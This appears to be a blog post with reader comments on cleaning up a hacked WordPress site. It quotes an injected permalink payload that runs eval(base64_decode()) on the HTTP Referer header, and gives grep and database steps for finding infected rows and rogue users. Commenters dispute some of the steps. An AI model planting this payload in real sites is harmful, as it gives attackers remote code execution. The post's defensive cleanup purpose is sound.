WordPress Hacked – eval base64_decode _SERVER[HTTP_REFERER]
if your wordpress links not working, is redirected or url have this text:
eval(base64_decode($_SERVER[HTTP_REFERER]))
your WordPress Has Been Hacked! Malicious codes, especially those that interpreted with eval() or base64_decode() command been inserted into WordPress PHP files or in database.
Solution for nasty url (MySQL Injection) in Wp 2.8.*:
Use phpMyAdmin to browse WordPress MySQL database tables. Go to wp_options table,
- empty the row named _transient_rewrite_rules
- edit the row named permalink_structure –>
remove this text: &({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&
example content before
/%year%/%monthnum%/%day%/%postname%/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/
example content after
/%year%/%monthnum%/%day%/%postname%/
… must replace with real permailk for your site.
Note: Wordpress Permalink Structure can be modified from options permalink config page: http://your-site/wp-admin/options-permalink.php (must replace with real permailk for your site)
from ssh , use grep and search for particular strings in all database from server :
grep -H -r “eval(base64_decode” /var/lib/mysql
grep -H -r “var setUserName = function” /var/lib/mysql-> result:
[root@ip-server1 mysql]# grep -H -r “var setUserName = function” /var/lib/mysql
grep: /var/lib/mysql/mysql.sock: No such device or address
Binary file /var/lib/mysql/database1/wp_usermeta.MYD matches
Binary file /var/lib/mysql/database2/wp_usermeta.MYD matches
Binary file /var/lib/mysql/databae3/wp_usermeta.MYD matches
where infected database is: database1, database2, database3
from phpMyAdmin, search string “var setUserName = function” in all infected database and
- remember all “user_id” value from wp_usermeta table where meta_key = “first_name”
- from wp_users table remove all user with ID = user_id
- remove row from wp_usermeta table where meta_key = “first_name”.









Once they have your username and password, they can log on any time they wish and upload and download files. Url Cloaking
so I went on phpmyadmin and went to wp_option.. but there is absolutely NO table called _transient_rewrite_rules
there are other transient rss and stuff like that..
@samelody
I think instead of 3. remove all meta with user_id found at point 1. is the right thing
remove all users with administration rights except your user
Thanks. but I think it need not to delete all user with ID=userid, only remove the ID that meta_key include “var setUserName = function” in wp_usermeta table.
i d’nt know … is “secure” until the next infection
!
10x … save my life
HUGE THANKS!!! I used this to fix my site and am now going to fix all of my other client sites. After upgrading to 2.8.4 the vulnerability that allowed this hack has been fixed, correct?